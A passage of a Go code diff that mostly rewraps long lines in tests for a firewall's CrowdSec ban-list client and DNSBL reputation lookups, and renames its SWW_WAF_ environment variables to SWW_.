{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
|
{
|
||||||
|
rangeScope,
|
||||||
|
"198.51.100.0/24",
|
||||||
|
ban,
|
||||||
|
probing,
|
||||||
|
began.Add(time.Hour),
|
||||||
|
},
|
||||||
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
|
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
|
||||||
// Left out: a decision to show a captcha, and one on a country.
|
// Left out: a decision to show a captcha, and one on a country.
|
||||||
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
|
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
|
||||||
@@ -74,14 +82,28 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
|
|||||||
e.set(func(e *engine) { e.failing = true })
|
e.set(func(e *engine) { e.failing = true })
|
||||||
time.Sleep(time.Hour - time.Nanosecond)
|
time.Sleep(time.Hour - time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantDecision(t, lists, "198.51.100.7",
|
wantDecision(
|
||||||
reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
|
t,
|
||||||
|
lists,
|
||||||
|
"198.51.100.7",
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
time.Sleep(time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
|
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
|
||||||
wantDecision(t, lists, suspect,
|
wantDecision(
|
||||||
reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
|
t,
|
||||||
|
lists,
|
||||||
|
suspect,
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(6 * time.Hour),
|
||||||
|
Scenario: manual,
|
||||||
|
},
|
||||||
|
)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -96,7 +118,10 @@ func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
|
|||||||
lists := start(t, e, crowdSecParams())
|
lists := start(t, e, crowdSecParams())
|
||||||
wantEngineFetches(t, e, 1)
|
wantEngineFetches(t, e, 1)
|
||||||
|
|
||||||
added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
|
added := reputation.Decision{
|
||||||
|
Expires: began.Add(2 * time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
}
|
||||||
|
|
||||||
e.set(func(e *engine) {
|
e.set(func(e *engine) {
|
||||||
e.decisions = append(e.decisions,
|
e.decisions = append(e.decisions,
|
||||||
@@ -125,23 +150,58 @@ func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
|
|||||||
// 198.51.100.130 is held by a decision on its address that ends
|
// 198.51.100.130 is held by a decision on its address that ends
|
||||||
// after the one on its netblock, and 192.0.2.20 by one that ends
|
// after the one on its netblock, and 192.0.2.20 by one that ends
|
||||||
// before.
|
// before.
|
||||||
{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
|
{
|
||||||
|
rangeScope,
|
||||||
|
"198.51.100.128/25",
|
||||||
|
ban,
|
||||||
|
sshBF,
|
||||||
|
began.Add(time.Hour),
|
||||||
|
},
|
||||||
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
|
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
|
||||||
{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
|
{
|
||||||
|
rangeScope,
|
||||||
|
"192.0.2.0/24",
|
||||||
|
ban,
|
||||||
|
probing,
|
||||||
|
began.Add(5 * time.Hour),
|
||||||
|
},
|
||||||
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
|
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
|
||||||
}}
|
}}
|
||||||
lists := start(t, e, crowdSecParams())
|
lists := start(t, e, crowdSecParams())
|
||||||
|
|
||||||
wantDecision(t, lists, suspect,
|
wantDecision(
|
||||||
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
|
t,
|
||||||
wantDecision(t, lists, "198.51.100.130",
|
lists,
|
||||||
reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
|
suspect,
|
||||||
wantDecision(t, lists, "192.0.2.20",
|
reputation.Decision{
|
||||||
reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
|
Expires: began.Add(4 * time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
wantDecision(
|
||||||
|
t,
|
||||||
|
lists,
|
||||||
|
"198.51.100.130",
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(3 * time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
wantDecision(
|
||||||
|
t,
|
||||||
|
lists,
|
||||||
|
"192.0.2.20",
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(5 * time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
},
|
||||||
|
)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
|
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -203,27 +263,43 @@ func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
|
|||||||
}
|
}
|
||||||
|
|
||||||
wantEngineFetches(t, e, 3)
|
wantEngineFetches(t, e, 3)
|
||||||
wantDecision(t, lists, suspect,
|
wantDecision(
|
||||||
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
|
t,
|
||||||
|
lists,
|
||||||
|
suspect,
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(4 * time.Hour),
|
||||||
|
Scenario: sshBF,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
want := kept[0]
|
want := kept[0]
|
||||||
want.Tried = time.Now()
|
want.Tried = time.Now()
|
||||||
|
|
||||||
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
|
got := lists.Snapshot()
|
||||||
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
|
if !reflect.DeepEqual(got, []reputation.List{want}) {
|
||||||
|
t.Errorf(
|
||||||
|
"lists %+v, want the first copy, last tried now, %+v",
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if lists.Failures(decisionsURL) != 2 {
|
if n := lists.Failures(decisionsURL); n != 2 {
|
||||||
t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
|
t.Errorf("%d failures, want 2", n)
|
||||||
}
|
}
|
||||||
|
|
||||||
// One alert for the first failure; the cooldown holds back the
|
// One alert for the first failure; the cooldown holds back the
|
||||||
// second.
|
// second.
|
||||||
wantAlert(t, queue,
|
failed := time.Now().Add(-time.Minute)
|
||||||
fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
|
alert := fetchFailure(failed, decisionsURL, tc.error)
|
||||||
|
wantAlert(t, queue, alert)
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
|
if !strings.Contains(
|
||||||
`"url":"`+decisionsURL+`","error":"`+tc.error) {
|
log.String(),
|
||||||
|
`"msg":"fetching a list failed",`+
|
||||||
|
`"url":"`+decisionsURL+`","error":"`+tc.error,
|
||||||
|
) {
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
t.Errorf("logged\n%s\nwant the failures", log.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -293,7 +369,11 @@ func crowdSecFailures() []crowdSecFailure {
|
|||||||
// log, the alerts waiting in queue, and the copies of lists, which
|
// log, the alerts waiting in queue, and the copies of lists, which
|
||||||
// lists.json keeps.
|
// lists.json keeps.
|
||||||
func wantKeyNotShown(
|
func wantKeyNotShown(
|
||||||
t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
|
t *testing.T,
|
||||||
|
e *engine,
|
||||||
|
log string,
|
||||||
|
lists *reputation.Lists,
|
||||||
|
queue *alerts.Queue,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -315,13 +395,21 @@ func wantKeyNotShown(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
|
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
began := time.Now()
|
began := time.Now()
|
||||||
e := &engine{key: engineKey, decisions: []decision{
|
e := &engine{key: engineKey, decisions: []decision{
|
||||||
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
|
{
|
||||||
|
rangeScope,
|
||||||
|
"198.51.100.0/24",
|
||||||
|
ban,
|
||||||
|
probing,
|
||||||
|
began.Add(time.Hour),
|
||||||
|
},
|
||||||
}}
|
}}
|
||||||
lists := start(t, e, crowdSecParams())
|
lists := start(t, e, crowdSecParams())
|
||||||
kept := lists.Snapshot()
|
kept := lists.Snapshot()
|
||||||
@@ -342,7 +430,10 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing
|
|||||||
|
|
||||||
run(t, again)
|
run(t, again)
|
||||||
|
|
||||||
want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
|
want := reputation.Decision{
|
||||||
|
Expires: began.Add(time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
}
|
||||||
wantDecision(t, again, "198.51.100.7", want)
|
wantDecision(t, again, "198.51.100.7", want)
|
||||||
|
|
||||||
time.Sleep(30*time.Minute - time.Nanosecond)
|
time.Sleep(30*time.Minute - time.Nanosecond)
|
||||||
@@ -415,7 +506,8 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
|
|||||||
|
|
||||||
e.fetches++
|
e.fetches++
|
||||||
|
|
||||||
if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
|
if req.URL.String() != decisionsURL &&
|
||||||
|
req.Header.Get("X-Api-Key") != "" {
|
||||||
e.keySentTo = append(e.keySentTo, req.URL.String())
|
e.keySentTo = append(e.keySentTo, req.URL.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -425,7 +517,9 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
|
|||||||
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
|
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
|
||||||
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
|
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
|
||||||
case e.redirect != "":
|
case e.redirect != "":
|
||||||
status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
|
status, header = http.StatusFound, http.Header{
|
||||||
|
"Location": {e.redirect},
|
||||||
|
}
|
||||||
case e.failing:
|
case e.failing:
|
||||||
status, body = http.StatusServiceUnavailable, ""
|
status, body = http.StatusServiceUnavailable, ""
|
||||||
case body == "":
|
case body == "":
|
||||||
@@ -449,7 +543,9 @@ func (e *engine) inForce(now time.Time) string {
|
|||||||
for _, d := range e.decisions {
|
for _, d := range e.decisions {
|
||||||
if now.Before(d.expires) {
|
if now.Before(d.expires) {
|
||||||
answer = append(answer, map[string]string{
|
answer = append(answer, map[string]string{
|
||||||
"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
|
"duration": d.expires.Sub(now).
|
||||||
|
String(),
|
||||||
|
"origin": "crowdsec",
|
||||||
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
|
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -501,13 +597,26 @@ func wantEngineFetches(t *testing.T, e *engine, want int) {
|
|||||||
// wantDecision checks the decision lists says is in force on addr now,
|
// wantDecision checks the decision lists says is in force on addr now,
|
||||||
// the zero Decision for none.
|
// the zero Decision for none.
|
||||||
func wantDecision(
|
func wantDecision(
|
||||||
t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
|
t *testing.T,
|
||||||
|
lists *reputation.Lists,
|
||||||
|
addr string,
|
||||||
|
want reputation.Decision,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
|
got, listed := lists.CrowdSecDecision(
|
||||||
|
netip.MustParseAddr(addr),
|
||||||
|
time.Now(),
|
||||||
|
)
|
||||||
if listed != !want.Expires.IsZero() ||
|
if listed != !want.Expires.IsZero() ||
|
||||||
listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
|
listed &&
|
||||||
t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
|
(!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
|
||||||
|
t.Errorf(
|
||||||
|
"%s has the decision %+v in force %t, want %+v",
|
||||||
|
addr,
|
||||||
|
got,
|
||||||
|
listed,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -53,15 +53,15 @@ type Verdict struct {
|
|||||||
// DNSBLParams are what NewDNSBL needs.
|
// DNSBLParams are what NewDNSBL needs.
|
||||||
type DNSBLParams struct {
|
type DNSBLParams struct {
|
||||||
// Zones are the DNSBL zones clients are asked about in
|
// Zones are the DNSBL zones clients are asked about in
|
||||||
// (SWW_WAF_DNSBL_ZONES).
|
// (SWW_DNSBL_ZONES).
|
||||||
Zones []string
|
Zones []string
|
||||||
// Resolver is the resolver they are asked through
|
// Resolver is the resolver they are asked through
|
||||||
// (SWW_WAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
|
// (SWW_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
|
||||||
// host's, as /etc/resolv.conf names it.
|
// host's, as /etc/resolv.conf names it.
|
||||||
Resolver netip.AddrPort
|
Resolver netip.AddrPort
|
||||||
// CacheTTL is how long a verdict is used after it was fetched
|
// CacheTTL is how long a verdict is used after it was fetched
|
||||||
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
|
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a query may take
|
||||||
// (SWW_WAF_REPUTATION_TIMEOUT).
|
// (SWW_REPUTATION_TIMEOUT).
|
||||||
CacheTTL time.Duration
|
CacheTTL time.Duration
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
@@ -127,13 +127,13 @@ func NewDNSBL(params DNSBLParams) *DNSBL {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Zones returns the zones, in the order SWW_WAF_DNSBL_ZONES names them.
|
// Zones returns the zones, in the order SWW_DNSBL_ZONES names them.
|
||||||
func (d *DNSBL) Zones() []string {
|
func (d *DNSBL) Zones() []string {
|
||||||
return slices.Clone(d.params.Zones)
|
return slices.Clone(d.params.Zones)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ListedBy returns the zones whose verdict on addr, a client's address,
|
// ListedBy returns the zones whose verdict on addr, a client's address,
|
||||||
// lists it, in the order SWW_WAF_DNSBL_ZONES names them, each with its key
|
// lists it, in the order SWW_DNSBL_ZONES names them, each with its key
|
||||||
// masked, as config.MaskZoneKey masks it, since they go to the request
|
// masked, as config.MaskZoneKey masks it, since they go to the request
|
||||||
// log, the alerts and the metrics. A verdict is used until CacheTTL has
|
// log, the alerts and the metrics. A verdict is used until CacheTTL has
|
||||||
// passed since it was fetched. Each zone without one is asked about addr
|
// passed since it was fetched. Each zone without one is asked about addr
|
||||||
@@ -203,14 +203,17 @@ func (d *DNSBL) Snapshot() []Verdict {
|
|||||||
d.mu.Unlock()
|
d.mu.Unlock()
|
||||||
|
|
||||||
slices.SortFunc(verdicts, func(a, b Verdict) int {
|
slices.SortFunc(verdicts, func(a, b Verdict) int {
|
||||||
return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone))
|
return cmp.Or(
|
||||||
|
a.Client.Compare(b.Client),
|
||||||
|
strings.Compare(a.Zone, b.Zone),
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
return verdicts
|
return verdicts
|
||||||
}
|
}
|
||||||
|
|
||||||
// Load keeps verdicts, read from dnsbl.json, in place of those it
|
// Load keeps verdicts, read from dnsbl.json, in place of those it
|
||||||
// keeps, but for those of a zone SWW_WAF_DNSBL_ZONES does not name, and,
|
// keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
|
||||||
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
|
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
|
||||||
// more is neither used nor written, as for any verdict.
|
// more is neither used nor written, as for any verdict.
|
||||||
func (d *DNSBL) Load(verdicts []Verdict) {
|
func (d *DNSBL) Load(verdicts []Verdict) {
|
||||||
@@ -275,7 +278,11 @@ func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) {
|
|||||||
ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
|
ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client))
|
answer, err := d.resolver.LookupNetIP(
|
||||||
|
ctx,
|
||||||
|
"ip4",
|
||||||
|
queryName(q.zone, q.client),
|
||||||
|
)
|
||||||
|
|
||||||
var dnsErr *net.DNSError
|
var dnsErr *net.DNSError
|
||||||
|
|
||||||
|
|||||||
@@ -40,8 +40,8 @@ const (
|
|||||||
// zone and otherZone are the DNSBL zones the tests name.
|
// zone and otherZone are the DNSBL zones the tests name.
|
||||||
zone = "dnsbl.example"
|
zone = "dnsbl.example"
|
||||||
otherZone = "other.example"
|
otherZone = "other.example"
|
||||||
// cacheTTL is the tests' SWW_WAF_REPUTATION_CACHE_TTL, and timeout their
|
// cacheTTL is the tests' SWW_REPUTATION_CACHE_TTL, and timeout their
|
||||||
// SWW_WAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
|
// SWW_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
|
||||||
// can have Go's resolver wait for one server, so that it is the
|
// can have Go's resolver wait for one server, so that it is the
|
||||||
// DNSBL's own timeout that ends a query, whatever that file says.
|
// DNSBL's own timeout that ends a query, whatever that file says.
|
||||||
cacheTTL = 24 * time.Hour
|
cacheTTL = 24 * time.Hour
|
||||||
@@ -73,7 +73,11 @@ func TestMain(m *testing.M) {
|
|||||||
return nil, errNoNetwork
|
return nil, errNoNetwork
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
_, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.")
|
_, _ = resolver.LookupNetIP(
|
||||||
|
context.Background(),
|
||||||
|
"ip4",
|
||||||
|
"warm-up.invalid.",
|
||||||
|
)
|
||||||
|
|
||||||
m.Run()
|
m.Run()
|
||||||
}
|
}
|
||||||
@@ -91,8 +95,10 @@ func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) {
|
|||||||
)
|
)
|
||||||
|
|
||||||
resolver := &resolverStandIn{answers: map[string]answer{
|
resolver := &resolverStandIn{answers: map[string]answer{
|
||||||
"99.2.0.192." + zone + ".": {addrs: []string{listing}},
|
"99.2.0.192." + zone + ".": {addrs: []string{listing}},
|
||||||
v6Name + otherZone + ".": {addrs: []string{"127.0.0.4", "127.0.0.10"}},
|
v6Name + otherZone + ".": {
|
||||||
|
addrs: []string{"127.0.0.4", "127.0.0.10"},
|
||||||
|
},
|
||||||
"99.2.0.192." + otherZone + ".": {},
|
"99.2.0.192." + otherZone + ".": {},
|
||||||
}}
|
}}
|
||||||
dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
|
dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
|
||||||
@@ -131,8 +137,11 @@ func TestListedByNeverWaitsForAQuery(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//
|
||||||
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
||||||
func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
|
func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
resolver := &resolverStandIn{answers: map[string]answer{
|
resolver := &resolverStandIn{answers: map[string]answer{
|
||||||
listedName: {addrs: []string{listing}},
|
listedName: {addrs: []string{listing}},
|
||||||
@@ -198,8 +207,11 @@ func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//
|
||||||
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
||||||
func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) {
|
func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
name string
|
name string
|
||||||
answer answer
|
answer answer
|
||||||
@@ -230,9 +242,12 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing
|
|||||||
p := dnsblParams(zone)
|
p := dnsblParams(zone)
|
||||||
p.Alerts = queue
|
p.Alerts = queue
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
||||||
dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
|
dnsbl := newDNSBL(
|
||||||
listedName: tc.answer,
|
&resolverStandIn{answers: map[string]answer{
|
||||||
}}, p)
|
listedName: tc.answer,
|
||||||
|
}},
|
||||||
|
p,
|
||||||
|
)
|
||||||
|
|
||||||
// The failure gives no verdict, and the zone is not asked
|
// The failure gives no verdict, and the zone is not asked
|
||||||
// again within a minute of it.
|
// again within a minute of it.
|
||||||
@@ -258,11 +273,17 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing
|
|||||||
Time: time.Now().Add(-time.Minute),
|
Time: time.Now().Add(-time.Minute),
|
||||||
Event: alerts.EventSourceFailure,
|
Event: alerts.EventSourceFailure,
|
||||||
Reason: "asking a DNSBL zone failed",
|
Reason: "asking a DNSBL zone failed",
|
||||||
Detail: map[string]any{"source": zone, "error": tc.error},
|
Detail: map[string]any{
|
||||||
|
"source": zone,
|
||||||
|
"error": tc.error,
|
||||||
|
},
|
||||||
})
|
})
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+
|
if !strings.Contains(
|
||||||
`"zone":"`+zone+`","error":"`+tc.error) {
|
log.String(),
|
||||||
|
`"msg":"asking a DNSBL zone failed",`+
|
||||||
|
`"zone":"`+zone+`","error":"`+tc.error,
|
||||||
|
) {
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
t.Errorf("logged\n%s\nwant the failures", log.String())
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -302,8 +323,11 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
scraped := httptest.NewRecorder()
|
scraped := httptest.NewRecorder()
|
||||||
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
m.ServeHTTP(
|
||||||
"/", http.NoBody))
|
scraped,
|
||||||
|
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
||||||
|
"/", http.NoBody),
|
||||||
|
)
|
||||||
|
|
||||||
for series, want := range map[string]string{
|
for series, want := range map[string]string{
|
||||||
"queries_total" + `{instance="app",source="` + zone + `"}`: "1",
|
"queries_total" + `{instance="app",source="` + zone + `"}`: "1",
|
||||||
@@ -348,19 +372,32 @@ func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantZones(t, dnsbl, listed, masked)
|
wantZones(t, dnsbl, listed, masked)
|
||||||
|
|
||||||
if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
|
if got := waiting(queue); len(got) != 1 ||
|
||||||
t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
|
got[0].Detail["source"] != masked {
|
||||||
|
t.Errorf(
|
||||||
|
"alerts waiting %+v, want the failure's, from %s",
|
||||||
|
got,
|
||||||
|
masked,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
scraped := httptest.NewRecorder()
|
scraped := httptest.NewRecorder()
|
||||||
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
m.ServeHTTP(
|
||||||
"/", http.NoBody))
|
scraped,
|
||||||
|
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
||||||
|
"/", http.NoBody),
|
||||||
|
)
|
||||||
|
|
||||||
for name, shown := range map[string]string{
|
for name, shown := range map[string]string{
|
||||||
"the log": log.String(), "the metrics": scraped.Body.String(),
|
"the log": log.String(), "the metrics": scraped.Body.String(),
|
||||||
} {
|
} {
|
||||||
if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
|
if strings.Contains(shown, key) ||
|
||||||
t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
|
!strings.Contains(shown, masked) {
|
||||||
|
t.Errorf(
|
||||||
|
"%s shows the key, or does not name the zone:\n%s",
|
||||||
|
name,
|
||||||
|
shown,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -382,8 +419,17 @@ func TestVerdictsKeptAcrossARestart(t *testing.T) {
|
|||||||
kept := dnsbl.Snapshot()
|
kept := dnsbl.Snapshot()
|
||||||
|
|
||||||
want := []reputation.Verdict{
|
want := []reputation.Verdict{
|
||||||
{Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched},
|
{
|
||||||
{Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched},
|
Zone: zone,
|
||||||
|
Client: netip.MustParseAddr(listed),
|
||||||
|
Listed: true,
|
||||||
|
Fetched: fetched,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Zone: zone,
|
||||||
|
Client: netip.MustParseAddr(unlisted),
|
||||||
|
Fetched: fetched,
|
||||||
|
},
|
||||||
}
|
}
|
||||||
if !reflect.DeepEqual(kept, want) {
|
if !reflect.DeepEqual(kept, want) {
|
||||||
t.Errorf("verdicts %+v, want %+v", kept, want)
|
t.Errorf("verdicts %+v, want %+v", kept, want)
|
||||||
@@ -419,7 +465,7 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
|
|||||||
dnsbl := reputation.NewDNSBL(p)
|
dnsbl := reputation.NewDNSBL(p)
|
||||||
|
|
||||||
// The last verdict still in use, one fetched a TTL ago, and one of a
|
// The last verdict still in use, one fetched a TTL ago, and one of a
|
||||||
// zone SWW_WAF_DNSBL_ZONES does not name.
|
// zone SWW_DNSBL_ZONES does not name.
|
||||||
inUse := reputation.Verdict{
|
inUse := reputation.Verdict{
|
||||||
Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
|
Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
|
||||||
Fetched: now.Add(-cacheTTL + time.Nanosecond),
|
Fetched: now.Add(-cacheTTL + time.Nanosecond),
|
||||||
@@ -433,12 +479,17 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
|
|||||||
|
|
||||||
dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
|
dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
|
||||||
|
|
||||||
if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) {
|
if got := dnsbl.Snapshot(); !reflect.DeepEqual(
|
||||||
|
got,
|
||||||
|
[]reputation.Verdict{inUse},
|
||||||
|
) {
|
||||||
t.Errorf("verdicts %+v, want only %+v", got, inUse)
|
t.Errorf("verdicts %+v, want only %+v", got, inUse)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
